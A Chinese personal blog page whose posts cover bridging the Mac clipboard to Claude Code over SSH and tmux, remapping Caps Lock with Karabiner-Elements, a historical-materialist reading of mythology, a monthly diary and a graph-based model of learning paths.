Posts on Veno's Blog

在 SSH + tmux 里给 Claude Code 粘贴 Mac 剪贴板里的图片

Sat, 26 Sep 2026 21:04:29 +0800

我的环境：MacBook 上 kitty → tmux → ssh → Fedora homelab 上的 tmux → Claude Code。截图后按 Ctrl+V，什么都贴不进去。

原因

Claude Code 在 Linux 上贴图，是在它自己所在的机器上调用这些命令：

1
2


xclip -selection clipboard -t TARGETS -o | grep -E "image/(png|jpeg|...)" || wl-paste -l | grep ...
xclip -selection clipboard -t image/png -o > file || wl-paste --type image/png > file

它读的是远端机器的 X11/Wayland 剪贴板，而 homelab 是 headless 的。kitty、tmux、SSH 之间只传字节流，OSC 52 也只管文本，所以不管这几层怎么配都没用。能下手的地方只有这个 xclip。

思路

每条 SSH 连接都把远端的 127.0.0.1:47851 反向转发到 Mac 自己的 sshd。
远端放一个假的 xclip，通过这条隧道 ssh 回 Mac，在 Mac 上执行 pngpaste -。

绕一圈走 sshd，而不是在 Mac 上开一个吐剪贴板的小服务，原因是远端有好几个账号，回环端口谁都能连。走 sshd 的话，只有 Mac 授权过的 key 能进来；再把 host key 钉死，别的账号就算抢先占了这个端口，也收不到这条连接。这样 Mac 上也不需要常驻任何进程。

用 TCP 而不用 Unix socket 转发，是因为 socket 在连接断开后会留下残留文件，下次绑定会失败，除非服务端开了 StreamLocalBindUnlink。

Mac 端

打开「远程登录」，把远端账号的公钥加进 ~/.ssh/authorized_keys，再装上 pngpaste（brew 或 nixpkgs 都有）。

~/.ssh/config：

1
2


Host thinkpad thinkpad-local
 RemoteForward 127.0.0.1:47851 localhost:22

同时开多条连接时，后连上的那条会报 remote port forwarding failed。这不影响使用，先连上的那条仍在提供同一个剪贴板。

远端

单独准备一份 known_hosts，里面只放 Mac 的 host key：

1
2


# ~/.config/clipbridge/known_hosts
[127.0.0.1]:47851 ssh-ed25519 AAAA...

再放一个 xclip 到 PATH 里，要排在真正的 xclip 前面（headless 机器上一般本来就没装），比如 ~/.local/bin/xclip：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


#!/usr/bin/env bash
selection=clipboard target="" output=""
while [ $# -gt 0 ]; do
 case "$1" in
 -selection|-sel) selection=$2; shift ;;
 -t|-target) target=$2; shift ;;
 -o|-out) output=1 ;;
 esac
 shift
done

# 只桥接"读 clipboard"
if [ "$selection" != clipboard ] || [ -z "$output" ]; then
 echo "xclip: only 'xclip -selection clipboard [-t ...] -o' is bridged to the Mac" >&2
 exit 1
fi

mac() {
 ssh -p 47851 \
 -o BatchMode=yes -o ConnectTimeout=3 \
 -o UserKnownHostsFile="$HOME/.config/clipbridge/known_hosts" -o StrictHostKeyChecking=yes \
 -o ClearAllForwardings=yes \
 -o ControlMaster=auto -o ControlPersist=60 \
 -o ControlPath="$HOME/.cache/clipbridge-%C" \
 you@127.0.0.1 "$@"
}

# ~ 由 Mac 那边的 shell 展开
case "$target" in
 TARGETS) mac '~/.nix-profile/bin/pngpaste - >/dev/null 2>&1' && echo image/png ;;
 image/png) mac '~/.nix-profile/bin/pngpaste -' ;;
 ""|text/plain|UTF8_STRING|STRING) mac pbpaste ;;
 *) exit 1 ;;
esac

补充几点：

pngpaste 的路径要按你在 Mac 上的实际安装位置改：brew 装的是 /opt/homebrew/bin/pngpaste。
贴一次图会调用两次（先查 TARGETS，再取 image/png），ControlMaster 让这两次复用同一条连接。
剪贴板里没有图片时脚本返回非零，Claude Code 会自己退回到别的处理方式。

配好后在 Mac 上重新 ssh 一次，让转发生效。远端的 tmux 会话不受影响，重新 attach 就行。之后截图，在 Claude Code 里 Ctrl+V 即可。

我实际是用 Home Manager 管这两边的，见 dotfiles 里的 hosts/thinkpad-veno.nix 和 hosts/macbook-veno.nix。

使用 Karabiner-Elements 在 macOS 修改 Capslock 长按短按触发信号

Fri, 25 Sep 2026 04:00:00 +0800

macOS 用 Caps Lock 切中英（ABC ↔ 双拼）有一两百毫秒延迟，快按还经常没反应，打字经常卡手

根因

HID 层故意延迟。Apple 开源的 IOHIDKeyboardFilter.mm（IOHIDFamily）里 #define kCapsLockDelayMS 75，processCapsLockDelay 对"激活方向"的按下先扣住、开定时器（注释原文 “kill the down event”），快按则 down/up 整对丢弃。官方说法（HT201509，存档）：

“The Caps Lock function on these computers is designed to reduce accidental activation. You must press and hold down the key slightly longer to activate the caps lock function.”

实际生效门槛约 100ms（pqrs 的测量），这就是"按了没反应"的主因。
输入源切换是异步流水线。HIToolbox/TSM → TISSelectInputSource → 通知 → 各 App 的 input context；切进 com.apple.inputmethod.SCIM 这类 IMK 输入法还要等 imklaunchagent 建 IMKInputSession，空闲后首次切换更慢。

配置脚本

附上一个可以直接指导完成安装配置的脚本wizard-karabiner-capslock.sh 分阶段确认、每个操作先看清再执行、自动落时间戳过程日志。下面的步骤已经全部包含在脚本里。我使用 macOS Tahoe 26.6.2，其他版本未经测试。

修复

短按切输入法，长按是大写锁。使用 Karabiner-Elements，官方文档明确说解决了延迟问题：

“Karabiner-Elements disables the caps lock delay without any action since v13.3.0.”

1. 安装与授权

1

brew install --cask karabiner-elements

装完批准 DriverKit 系统扩展并授权。macOS Tahoe 的入口是「系统设置 → 登陆项与扩展 → 拓展 → 按类别 → 驱动程序扩展」（旧版在「通用 → 登录项与扩展」），再打开 Karabiner 的后台服务和辅助功能。用这个确认扩展真的批了——没批时状态是 [activated waiting for user]，此时一切规则都无效：

1

systemextensionsctl list | grep pqrs # 期望 [activated enabled]

2. 规则：短按 → F18，长按 → Caps Lock

~/.config/karabiner/assets/complex_modifications/capslock-tap-f18-hold-capslock.json：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


{
 "title": "Caps Lock: tap → F18 (switch input source), hold → Caps Lock",
 "rules": [
 {
 "description": "Caps Lock: tap → F18 (select next input source), hold (≥250ms) → Caps Lock toggle",
 "manipulators": [
 {
 "type": "basic",
 "from": { "key_code": "caps_lock", "modifiers": { "optional": ["any"] } },
 "to_if_alone": [{ "key_code": "f18" }],
 "to_if_held_down": [{ "key_code": "caps_lock", "hold_down_milliseconds": 200 }],
 "parameters": {
 "basic.to_if_alone_timeout_milliseconds": 250,
 "basic.to_if_held_down_threshold_milliseconds": 250
 }
 }
 ]
 }
 ]
}

语义与 keyd 的 timeout(f14, 250, capslock) 逐项对齐：松手快于 250ms 发 f18，按住满 250ms 发一次真 caps_lock。hold_down_milliseconds: 200 是让合成的 down/up 保持足够长，不被 HID 层的防误触吞掉（官方 rule 同款做法）。写好后在 Karabiner-Elements → Complex Modifications → Add rule 里 Enable。

3. 系统设置

「键盘 → 键盘快捷键… → 输入」：把选择"输入"菜单中的下一个输入法绑到 F18。MacBook 没有 F18 实体键——规则生效后快按一下 Caps Lock 就是 F18，直接录进去。
关掉使用 Caps Lock 键切换到和从 ABC。不关的话，长按发出来的 caps_lock 会被它吞去切输入法，大写锁就废了。

不要用 Karabiner 的 select_input_source 切中文输入法：官方文档明确它对 CJKV（有 input_mode_id 的）输入法会失败，走系统快捷键最稳。

验证

短按立刻切输入法、长按切大写锁、再长按切回。用 Karabiner-EventViewer 或下面的探针看实际发出的事件：短按应看到 keyDown f18 (79)，长按看到 flagsChanged caps_lock (57) 且大写状态正常翻转。

未做毫秒级测量。改前改后的对比只有主观感受：快按不再被丢，切换即时发生；输入法冷启动那点延迟仍在（那是根因第 2 段，跟按键无关）。

回滚

KE 里 Disable 该规则；系统设置解绑 F18、勾回"使用 Caps Lock 键切换到和从 ABC"；彻底卸载用 brew uninstall --cask karabiner-elements。副作用只有一个：Caps Lock 不再是即按即大写锁。

附

keyprobe.swift —— 按键事件探针（listen-only CGEventTap），swift keyprobe.swift 直接跑，首次运行要给终端「输入监控」授权。

参考

Apple OSS · IOHIDFamily/IOHIDKeyboardFilter.mm：kCapsLockDelayMS 75、processCapsLockDelay 的 “kill the down event” / “kill the up event”
Apple HT201509（存档）：“designed to reduce accidental activation”
Karabiner-Elements · disable caps lock delay
Karabiner-Elements · to.select_input_source（CJKV 警告）
Karabiner-Elements · required macOS settings
Apple TN2450（hidutil 重映射备选方案及其代价）

【神话与现实 - 序】唯物史观视角下的神话

Sun, 06 Sep 2026 18:52:08 +0800

翻开希腊神话，看到宙斯手握雷霆、高高在上地统治奥林匹斯山，人们或许习惯将其归结为“古希腊人浪漫而肆意的想象”。

但如果去除神话的光环，冷酷的现实就会浮现：宙斯并不是什么正义的维护者。他只是个投影，是个铁器时代的父权奴隶主首领的投影。他手里的雷霆是绝对的暴力手段，他的掠夺是对私有财产和女性生育权的宣示，而他建立的所谓奥林匹斯秩序，不过是古希腊城邦中，奴隶制国家机器的官僚体系。

从来不是神明创造了人类社会。恰恰相反，是人类创造出了神明。神话只是人类社会发展阶段的镜像。古希腊人的生活，依赖奴隶劳动，充满城邦兼并战争，父权绝对主导。他们无法想象出一个博爱平等的造物主，自然只能将他们现实中最高统治者的贪婪、威权、暴力和私欲投射到奥林匹斯山上。

这次打算新开的专栏取名为 Mythos & Reality（神话与现实），正是为了尝试揭示这层一直被掩盖的映射关系。

漫长的人类史中，神话、神秘学、宗教乃至高深的哲学，常被奉为超脱于世俗之上的“神圣知识”。然而，马克思和恩格斯在近两百年前就已看穿了这个秘密。人类首先必须吃、喝、住、穿，然后才能从事政治、科学、艺术和宗教。因此，不存在神仙或是救世主创造神话，创造神话的是那个时代的生产力水平、私有财产的分配方式、家庭的组织形态，以及国家暴力的凝结过程。

当人类还在用石器采集野生果实，没有剩余财产时，神灵是无脸的大地母神和自然的风雨；当金属工具爆发出剩余财富，私有制产生，母系氏族被推翻，神话里便轰轰烈烈地上演了“英雄杀死巨蛇”，“父权主神登基”；当国家机器建立，军队和法庭斩断了血缘，神话便成为维护统治合法性的官方法权，也就有了所谓的“君权神授”。

人们常说，神话是虚构的，而历史是真实的。然而真是这样吗？在人类文明的早期，没有档案库，神话就是古人眼中唯一的历史。而在漫长的时间中，绝大多数所谓的正史，也无非是统治阶级为了利益精心编织的合法神话。这样来看，神话和历史并无本质的不同。

既然神话和历史都是被建构的叙事，这就产生了相对主义：如果所有叙事都可能是谎言，如果只有相对的叙事，没有绝对的真实，那我们研究神话和历史还有什么意义？

唯物史观给出了答案。叙事是相对虚构的，但是迫使人们去建构叙事的物质条件和生存境况，是绝对的、真实的。饥饿是真实的，铁器的锋利是真实的，被剥夺了土地的奴隶的痛苦是真实的。

正因为谎言本身就是真相的倒影。没有人亲历过全部的历史，但人类的物质生产却会留下不朽的烙印。

在唯物史观的视角下，我们不会试图去争辩神话里的神仙是否真的存在，也不纠结于史书里的传奇是否严丝合缝。唯物史观的使命是拨开现象看本质。究竟是什么样的工具、什么样的土地、什么样的财产分配，让那个时代的人们，选择用这样的神话与历史来讲述自己？这便是本系列想尝试去做的事情。

这个系列前几篇打算先跟着《家庭、私有制和国家的起源》的脉络，先看看人类如何从无阶级的自然部落，一步步走向私有制、父权家庭与国家暴力，以及这些变迁如何在神话中体现。也许能算作这本书的导读。之后，再看看国家如何将神话变成正统的宗教，而无法收编的原始残余又是如何变成地下的神秘学。也可能会涉及到现代。可能更新很慢，期待一下吧。

八月，九月

Mon, 31 Aug 2026 23:37:18 +0800

我表达欲也许实际上非常旺盛，因为我一旦写起文章就停不下来，动辄几千字，可比高中写无聊的八股有意思的多，而且不需要用笔写，用键盘就行。

我的表达欲又似乎完全没有了，因为实际上我就算写得再多，事实上几乎不会有人去看我的文章，似乎我能知道的经常看我文章的只有半只手能数得过来，还是我手动推送过去的几个相处几年的知己。有时候就算我分享出去也不会有人搭理，可能我推送文章也跟个广告机器人一样。我也有连着精确的五个月没发过 QQ 动态了，上次是 3 月 31 日。于是，基本上只有需要整理自己思路的时候，可能才会写文章了。写的也大多是技术总结，至少还有几个人会看。如果写点只和我个人相关的见解或是情绪，那估计更没人会看了。

事实上，我一写文，就停不下来，往往十一点开始写，写到凌晨三四点钟。AI 当然可以一下子生成。我只需要跟 AI 说，我在想什么，它就能噼里啪啦输出一大段文字。但最终发现即便是句句有回应的 AI ，就算我反复审稿，反复让它调整语句，也从来没有真正理解过我。AI 的文字往往词不达意，每句话每个字我都不认识。我就只让它写点纯粹的技术记录笔记了。语音输入我也不喜欢，我讨厌一个人呆着的时候发出嗓音，而且我键盘打字并没有比语音慢多少，语音还没法修改。

比起花很长的时间手写一篇没人看的文章，还不如干点别的更有意义的事情。

不过这篇文章也许会有人看，所以就写了，梳理一下八月做过的一些事情，以及九月准备做点什么。

八月

神秘学

古希腊时代，没有钟表，据说当时的人产生了两种时间的概念，进而传说两位神明，一位叫 Chronos，是手持镰刀的老人。他代表着连续的，无情的时间，这种时间随着日月交替均匀变化，另一位叫 Kairos ，是宙斯最小的儿子，并不代表线性的时间。或许可以叫契机，或是决定性的时刻。Chronos 往往被描绘成吞噬自己孩子的神灵，将一切事物推向衰老与消逝。 Kairos 被塑造成一位头顶留着长发、后脑勺却是光头的年轻神祇。这意味着当他迎面走来时，你必须迅速抓住他的头发。一旦错过，他飞身离去，光溜溜的后脑勺将让你无处可抓，代表着 “Now is the time”。

我也不知道为什么要提这两个神，可能只是因为我最近一段时间突然对西方神话体系，以及神秘学体系开始感兴趣了，比如炼金术之类的。但并不是因为我相信或者想实践古老的魔法，这些都是过去的人们受时代限制的，一种形而上学的，对世界的感性而非理性的认识。我对这些东西感兴趣，是想联系着时代背景去考究它。因为神话不是凭空出现的，它也是人创造的，反映了人的意识，通常反映了那个时代最关心的问题。比如希腊神话的海神之所以那么重要，是因为希腊民族是海洋的民族，耕地少，到处是岛屿，总是要海上贸易。为什么北欧神话总是那么悲壮？因为他们生活的地区有着漫长的冬天，耕地贫瘠，生存困难，经常战争，于是他们相信世界终将毁灭，传说诸神黄昏，所以他们的神明和人一样，是会死亡的，Odin 被狼杀死，Thor 因蛇毒而亡。研究他们的神话，本质上也是在研究他们的社会。

扯远了，但是为什么我能联想到 Chronos 和 Kairos 呢？或许是因为写到这之前，我刚刚在想，我要记录所谓做过的一些事情，实际上根本没办法记录线性的时间，而只能记住那些决定性的时刻。我可能总会忘记我前天吃了什么，但我会记住，在七月底或八月初，我突然开始对这些神话感兴趣了。因此记录下来，说不定以后有个高中生版本的我会发现我竟然在几年之后对这些东西感兴趣。

休假

之前一直在写代码，现在倒是在团队里基本不写代码了，充当类似顾问的角色。七月份我基本上在忙着整理团队的资料，尽量把团队任务管理给自动化，以及做一下项目的下一阶段启动。虽然现在发现实际上效果没多好，不过至少把我累着了。

团队买了个大几万的服务器，得运维完配好网再回扬州。本来以为八月之前，结果因为台风之类的，拖到八月初才配完，临时找的学校放服务器的房间还没空调，热得要死。八月六号回扬州第一顿吃了个七欣天。

之后给自己放了个十几天的假，因为基本上也没啥忙活要干，天天在摸鱼。回来第三天跟高中同学吃了顿饭。

从杭州只带了个 macbook，基本上没有什么游戏能玩的，于是开了个 Minecraft 服务器跟朋友玩。

高中的时候玩 Minecraft，沉迷于最原版的所谓生电玩法，基本是在以解构游戏的底层逻辑为乐趣，不断加深对世界的认识直到翻游戏源码的程度，再用这些理性的认识用以去实践去改造世界，实现不可思议的创造。后来发现这层哲学竟然与毛泽东《实践论》的“实践、认识、再实践”别无二致，也难怪青睐马哲的我会喜欢这样的玩法。

但是这次玩 Minecraft，我对这样的玩法感到疲惫了。一个游戏终究也是代码写成的，已经把游戏解构到代码层面了，对世界的认识已经很难有进一步的深入了。于是我破天荒的开了模组服务器，事实上这才是现在玩 Minecraft 的人更加大众的玩法。

去上海

客户机器上的软件崩溃，最后查出来是个很搞笑的运维失误，翻了几个月前的命令历史发现是团队成员在半夜神智不清的时候手动编译客户软件，打错个字母还没发现，造成了客户的软件使用了错误的认证信息，触发我们的认证失败机制，才一直隐蔽崩溃。在这个层面上，其实我七月份的努力也并不是没有价值，能让 AI 十分钟就一下查到几个月前的运维的拼写错误，如果没整理的话可能永远都发现不了。

关于客户的软件编译其实还有好笑的点，我们事实上为了软件显得大一点，往里面塞了一集甄嬛传，不同客户的甄嬛传塞的哪一集还不一样，也许方便有盗版流出的时候查到，但更多其实是感觉比较好玩。客户应该不会读我的博客。

总之需要出差去昆山重新安装一下正常的软件。上午到昆山，中午到公司，几小时装完，晚饭前就到了上海。吃了顿很辣的牛蛙，晚上去逛了外滩，赶在末班地铁前回了旅馆，三人挤两张床。

我其实很喜欢各种建筑，不管是中式的古代建筑，还是欧式，或者现代科技才能实现的雄伟奇观。之前去西安，看到的城墙倒没有吸引我，反而是西安万象城的世界之树让我惊叹。我后悔没拍下照片。于是这次我至少拍了外滩。

第二天上午去打卡了雾雨咖啡店，属于是老车万人必打卡的地标了，也算是圆了高中的很小的心愿。雾雨咖啡店和之前几年前视频上看到的布局变化很大。老板看上去给人一种世外高人的感觉。可惜跟我一块的两个人都没听说过东方 Project。老板说如果要打卡的话可以随便拍照，做完咖啡，送了几张明信片，过了一会儿离开了店。出于一种善良的心理，我在脑补他会不会是因为看我好像太社恐不太敢到处乱拍照，于是离开一会儿。或许他其实只是去上个厕所。

说到底，其实杭州离上海真的特别近，我可能早就应该去上海逛逛。

打卡过咖啡店之后，去参加了 Keysight 的一个会议，发现我们竟然做的产品实际上已经超越了他们的某一个方向，还是有点开心，算是增长我的自信。至于其他的硬件东西，我是一点都听不懂。

听不懂，于是我就发呆，想点自己的东西。于是在会上灵光一闪，联想到之前想做的教程平台的产品。如果把各种知识建模成有向无环图（DAG），这样似乎竟然可以推导出最佳的知识学习路线，进而生产教程。为什么会想到呢，也许是因为团队做的软件即将做工作流功能也是 DAG 吧。跟导师分享了一下这个想法，他特别看好。

我在会议座位的草稿纸上画了个牛来。

晚上吃了顿火锅很好吃。吃完之后二人赶车回杭州，我离检票还剩两个多小时，不知道能去哪。干脆直接去了火车站，改签到最近的车票回扬州了。

Derivon

这词是我编的，不存在这个词。但也不是瞎编的。词根拉丁语或者英语词根 Deriv- ，一般人会联想到 Derive 衍生，派生，Derivation 推导。后缀 -on 一般用于物理基本粒子，比如 Electron，Proton，Phonton。

取名 Derivon，因为把“推导”作为最基本的粒子。

事实上，它就是出自于我刚刚说到，在上海想到的把知识建模成图，在知识地图上做导航。

先前想做的教程平台，就算把教学的形式做的再好，事实上并不解决优质教程产出的问题，因此那个想法也迟迟不能吸引我去投入精力动手开发。而且，似乎这条路子已经被很多人走过了，我未必就打得过。如果只是让 AI 帮忙教书，那和 ChatGPT 多加点交互式插件有什么区别呢？比较典型的就是清华的 openMAIC，一句话生成课件，多加几个 Agent ，模仿有其他学生在教室里看视频课做提问，他们还真就靠这样的路子做了个社区了，不愧是清华。

但这次我自以为是真的想清楚了。关于这个产品的真实心路历程，不在此篇多说，可以去上一篇看看前半段数学建模以前的部分：《学习效率的矛盾分析与学习路线的数学建模》

建模 DAG 自动计算教学路线，至少这次想法足够吸引人，所以我立刻开始着手去实践了。数学论证了一下，又改进了模型设计，从 DAG 变成了加权有向 B 超图，模型最终自洽了。

立刻就开始投入精力去做 demo，拉了个群一起体验，发现效果还真的挺不错，验证了数学模型的成立。一周写了一万多行能用的代码，每天都是醒来就开写，一直到睡前都得开个 /goal ，让模型跑起来了再睡。感兴趣的可以看 https://mindmap.derivon.net/ ，不过需要用 Chromium 浏览器登录。或者去 https://github.com/derivon-research/derivon-mindmap 。

九月

写到这里，3900 字，从 23:37 新建文件夹到现在正好凌晨两点。

一个人记录自己做过的事尚可理解。但记录自己即将要做的事情，是在许愿还是在计划？还是说记录的其实是写下计划的那个时刻？许愿和计划的区别又是什么？

想干掉清华或者什么的项目，想重构出新的教学系统，想把优质教程的生产和消费变成社会化、机械自动化的过程，这是愿望。如何推动 Derivon 项目便是我做的计划。实际上，我确实在 31 号下午把 Demo 验证的差不多了，列好了项目接下来的里程碑。

听起来当然很中二，我自己都觉得中二，但是我觉得中二没啥毛病。都说目标得设置的宏大一点，才有机会实现小一点的目标，这是自我预言。所以好的，我就干脆把做成全球化的平台当成自己的目标，去规划下一步了。想到什么就做什么，什么让自己比较有激情去全身心投入就全力去做什么。所以我觉得不一定每天摸鱼才叫随缘，这也是一种随缘。想放假就放假，想 All in 就 All in，是我可能只有在大学才能更好享受的随缘。

九月份要做的事情，我实际上就是打算逐一实现项目的里程碑。虽然我在自己的飞书组织里写的详细多了，但总不可能复制过来。简而言之，打磨 Demo，做点更吸引人的案例，开始做推广，搭建 Derivon Hub，实现复利。至于达到哪一个阶段，倒是说不准，但我希望做到最后一步，那么说不定就能至少推广起来了。

学习效率的矛盾分析与学习路线的数学建模

Thu, 20 Aug 2026 19:22:04 +0800

本文 LLM 使用成分声明：LLM 使用场景在本文主要在数学模型的推演验证和严谨化，现有论文的查询和解析。本篇使用的加权有向 B-超图相关结论验证过程主要使用 claude-opus-5。本文除最后大章的数学论证（AI 编写，人工审核）以外的全部文字叙述，包括数学模型的重构思路，由人工编写，无生成。

上一篇的模型远远不够完善，并且 gpt-5.6-sol 撰写的文章也并没有讲清楚我的思路和心路历程。因而有了改进之后的建模，以及这篇文章。

在《逃离应试教育，重新学会怎么思考》那篇文章中我提到，学习一个知识体系的过程，本质上是在寻找它的“最小生成元 + 生成规则”，不断压缩信息的过程。

在我自己的学习经历和观察体会的现象当中，我反复认识到，学习路线才是学习效率的决定性因素。不同学习路线带来的学习成本差距是数量级上的差距，远远大于学生个人理解能力、教师面对同一教纲的教学能力、或其他的什么因素。关于这点，我个人的经历可以参考上篇文章的开头。

经历这些事情之后，我经常沉迷于思考这样的一个问题：

怎样才能做到把优质的学习路线的生产和消费转化为社会化的规模？

换句话说，怎样把优质的学习路线从小部分高知群体偶尔个人手工产出，转变为使用机器批量的产出？怎样把定制化的优质学习路线从师徒制的私塾里解放到全社会的学习者触手可及的地方？

既然学习路线才是学习效率的决定性因素，于是我又不得不思考：为什么现代的教育体系中，一般使用的学习路线如此低效呢？在学习目标确定的情况下，如何以更低的成本、更快地获得目标知识呢？

学习效率的矛盾

在复杂事物的发展过程中，存在许多矛盾，其中必有一种是主要的矛盾。

在“学习路线是学习效率的决定性因素”这一前提下，那么提高学习效率的关键就在于学习路线的优化了。

如果实际思考过怎样优化自己的学习路线，实际上会很容易发现下面这些现象。

课程编排不因材施教

学生能接触到的学习路径，通常由学校的课程编排、教材章节或授课老师等外部因素决定。但每个人知识的掌握程度不同，适合的学习路径各不相同，学习目标也不相同，这导致他们实际能接触到的路径往往不符合自己当前的状态的最优解。

同时，为了了解某些具体的现实实用概念的工科学生，却不得不跟着教授编排的教纲，按照理科的标准学完课程参与考试，被迫理解非常多必要之外的知识，就像学习打螺丝，大多数时候并不需要理解螺丝的历史和生产流程。

祖宗之法不可不变

学术界的总体知识在不断进步，新理论的引入能够极大简化知识体系。比如算子理论和希尔伯特空间极大简化了高校工科数学的推导路径，有潜力大幅缩短各类科目的学习路径。

然而学校的教材和教纲往往是祖宗之法，不可变动。这导致实际的教学路径往往明显落后于潜在的最佳路径。

从义务教育到高中到大学，相信读者一定亲身体会过学习了新知识新概念之后，这些新内容对于先前的考试的降维打击。如果在既有上下文一定的情况下，理解相同的新信息需要的成本视作理解能力的话，上面说的这种升年级之后的降维打击并不能体现任何学生理解能力的进步，反而事实上证明了学习路线设计的不合理。

少学反而更慢

有时候，少学点知识反而学的更慢。在引入更多知识的情况下，有时反而大幅提高学习效率。看似反直觉，但例子其实相当多，也相当显然。关于这一点我觉得非常值得单独列出来举几个例子说一下，因为它带来的问题可能比前面两个会更大：

一种情况：假设学习目标是 $A, B, C$ ，传统课程可能只会安排 $A \to B \to C$ 。但实际上存在一个目标外概念 $X$，可以 $A \to X \to B \to C$，乍看多学了一个东西，似乎更慢。但如果：$$w(A, B) = 10, \qquad w(A, X) = 2, \qquad w(X, B) = 1$$直接学 $B$，成本是 10，先 $X$ 后 $B$ ，学习成本是 $2 + 1 = 3$ 。于是 $A \to X \to B \to C$ 反而是更高效的路径：$$w(A \to X) + w(X \to B) < w(A \to B)$$ 然而，继承优秀传统八股文化的考试、面向这样的考试而设立的课程、种种社会压力，无疑会阻止学生学习课纲外的内容，老师们给出的原因无非是高考或是什么的考试里，写这个洛必达不给分云云。有些极端的地方甚至早已形成了嘲讽自行学习微积分等课纲外的高校内容的中学生的歪风邪气，称这些求知的学生为做题区嘉豪，这样的事情在某些高考压力大的省份发生的尤为频繁，有些读者相信会感同身受。至于为什么本该在传说中自我调节的市场经济社会却产生了这样的考试和这样的课程，我们就不深入思考了。
另一种情况：大学的课程往往反复教了同一个东西很多遍，但每一门课都把它伪装成一个全新的技巧。假设学习目标是 $A, B, C$ ，大多中国的学校往往会喜欢这样教：$$\varnothing \to X_1 \to A, \qquad \varnothing \to X_2 \to B, \qquad \varnothing \to X_3 \to C$$ 其中 $w( \varnothing \to X_n )$ 非常大，不同的 $X_n$ 却使用结构类似的推演流程。往往老师这时就喜欢说：“这就是数学之美，冥冥之中存在着联系。” 台下学生不明觉厉，深以为然。但是，如果首先进一步发现 $X$ 本身就是一个更高层次的共同结构，此时由 $X$ 可以衍生的概念的学习效率会发生质变。进而可以以极低的成本：$$X \to {X_1, X_2, X_3}$$ 那么再找到 $A, B, C$ 等特例的成本也极低。因为 $X$ 作为一次抽象产生的知识，可以作为多个后续节点的共同前置条件：$$w(\lbrace X, X_1\rbrace \to A) < w(X_1 \to A)$$ 以我的学校的课程编排举例，具体编排可能忘了，可能大概是：$$高数→线性代数→概率论→离散数学→信号与系统$$ 到了信号与系统，学生会突然被要求学习傅立叶级数、傅立叶变换、拉普拉斯变换、Z 变换、卷积、频域、系统函数。可能自动化学院在自动控制里面，又要学一遍拉普拉斯，极点零点，频率响应，到了数字信号处理，把 Z 变换、DTFT、DFT、FFT 又学了一遍。这很容易有一种强烈的错觉，这些都是不同课程里的不同形式，我得分别记住它们的公式和推导和性质。但如果你稍微越过传统工科教纲一步，先引入一个更高层次的概念，只要有非常入门级的算子理论，理解函数空间上的内积与正交展开，把求导变成作用在函数空间上的算子 $D$ ，立刻可以复用线性代数的知识，就像特征向量一样，因为 $De^{i\omega t} = ie^{i\omega t}$ ，自然就知道它是微分算子的特征函数，所以傅立叶分析的核心思想自然而然就成为了：找到一组在某个算子作用下行为特别简单的基函数。换成 $e^{st}$ ，变成复平面，就成了拉普拉斯变换，微分算子换成移位算子，就变成了 Z 变换。如果进一步引入算子谱定理，立刻就知道，微分变换成乘法是来自微分算子的谱表示，卷积变成乘法来自平移算子及其谱表示，各种逆变换来自谱表示的可逆重构，频域求解微分方程本质上是把算子变换到更容易求逆的表示中。例子太多，再说就扯远了，但足以证明，有些教学路线为了避免让本科生提前接触函数空间、算子和谱理论，看起来少学了一些抽象数学，却不得不让学生在后续课程中反复证明同一类性质、反复记忆不同变换的公式。

上面这种类型的类似错误教学方式还有很多，它们已经在事实上荼毒学生的思维。因为它们扼杀了学生的求知欲，转而又进一步封锁了从感性认识上升到理性认识的通道。

“冥冥之中万物有联系”，终究是停留在冥冥之中的感性认识，就像是中医。不去上升到理性认识，反而是不断强化形而上学的规律，最终沉沦于题海之中，把学生当成大模型，把题目当成语料去训练，拟合考试题目。最终并不会真正习得背后的规律，结局反而是过拟合，丢失理解规律背后本质的能力。相当多的学生仍然蒙在鼓里，把重复反复推演的痛苦等同为学习的痛苦，在以后的自学道路上也这样做，百害而无一利。

真正的主要矛盾

上面这三条现象可以被分别概括为这三条矛盾：

外部决定的路径与个体适配路径的矛盾
固定教学大纲与学术界知识演进的矛盾
学习内容最小化与学习成本最小化之间的矛盾

我们不难发现它们总是存在的共同点。现代教育系统能够让学生接触的路径是预先划定范围的、静态的、标准化的路径，而学习本身却是不限范围的、动态的、个人化的过程。因此我们总结：

学习效率的主要矛盾，是既定学习路线自身的局部静态与最优学习路线的全局动态之间的矛盾。

事物矛盾的法则，是对立统一的法则。既定学习路线和最优学习路线，相互对立，又相互统一；互为依赖，又相互制约。

既定学习路线要沿着当前路线走，找到最优路线要不断重新选择路线，这体现了二者的对立。

但如果完全没有既定路线，每学一个概念都重新搜索整个知识体系；反过来，如果不去寻找全局动态最优，你永远执行第一次制定的路线，那么你又无法利用时刻产出的新知识。

因此，“如何提高学习效率”这一核心问题，现在变成了：

如何在全局知识和已有知识不断变化的过程中，持续找到通往目标知识的最优路径。

2026.8.25 编辑：

思路差不多说完了，打个广告，对这个话题感兴趣的可以加群一块讨论：

学习路线的建模历程

最开始，我还没有意识到这是个动态优化问题。三个月前我最开始其实只是想做一个优质教程共享平台，让任何人都可以写教程，把优质的教程放在平台上，辅以 AI 帮助教学和检验理解，引入交互式的可视化的教学元素。希望这样一来，优质的教程自然会被用户选择，进而被热门推送。

首先是尝试我一直惯用的套路，直接去列几个对象，再给对象列字段等等，准备拿它做数据库表。大概分了 Course, Chapter, Concept 等层级，尝试让 AI 判断用户是否真正理解概念，其实还是受现有的教学逻辑限制，是一套形而上学的思路。

这时我发现，我的教程仍然是一个线性的固定的教程，问题随之暴露出来：概念学习并没有唯一顺序。学习信号与系统时，欧拉公式只需要在第一次使用前掌握，并不天然属于某一章的固定位置。因此教程不一定非得是线性的，但模型限制了这一点。

于是我把教程变成了图，章节是点。但不同章节各种概念有相互依赖，有包含，有相关等关系，只好把章节之间的关系分成多种类别。

我被逼到开始用图表达知识，却仍然被限制在传统的科目、教材、章节、小节的框架里。最后我才意识到问题。既然核心问题是找到最优路径，事实上为什么我不直接对知识本身进行建模？

能否把学习路径变成一个可以被建模、计算和优化的问题？形象一点的说，能不能把知识体系变成地图，在这张地图上做导航软件？

我们不得不需要一个可靠的参照来指导我们软件的代码实现，于是我重新开始尝试建模。

